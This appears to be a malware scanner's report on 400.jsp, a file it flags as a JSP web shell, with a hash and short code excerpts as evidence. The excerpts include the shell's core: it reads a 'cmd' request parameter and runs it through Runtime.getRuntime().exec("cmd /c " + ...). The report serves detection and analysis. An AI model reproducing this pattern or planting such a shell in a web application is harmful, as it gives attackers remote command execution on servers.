Suspicious ^82% Download

400.jsp

JSP runs the cmd request parameterWeb Shell

SHA-2567f9280722b4cace28d9abad207c037e723a4e81264de262ab4f537037c10f733

Evidence

Java getRuntime call reference lines 1–11

1<%@ page contentType="text/html;charset=gb2312"%>
2<%@ page import="java.io.*,java.util.*,java.util.zip.*,java.text.*"%>
3<%
4	long startTime = System.currentTimeMillis();
5	long startMem = Runtime.getRuntime().freeMemory();
6	String uri = request.getRequestURI();
7	String strThisFile = uri.substring(uri.lastIndexOf("/")+1);//���ļ��ļ���
⋯4 lines

Web Shell lines 76–91

⋯4 lines
}
public String getTimeElapsed() {
	long time = (System.currentTimeMillis() - starttime) / 1000l;
	if (time - 60l >= 0) {
		if (time % 60 >= 10)
⋯7 lines

Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp lines 383–395

30… rUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
if (strAfterComma == "")
	strAfterComma = ".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}

⋯6 lines

JSP reads cmd request parameter lines 427–443

5… dir.delete();//ɾ����ǰĿ¼  
}
429%>
430<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit = new StringBuffer("");
StringBuffer sbDown = new StringBuffer("");
⋯4 lines

JVM Runtime.exec() call lines 1076–1088

15… ffer sbCmd = new StringBuffer("");
1077
				if (strCmd != null) {
					try {
						//out.println(strCmd);
						Process p = Runtime.getRuntime().exec(
								"cmd /c " + strCmd);
						BufferedReader br = new BufferedReader(
⋯5 lines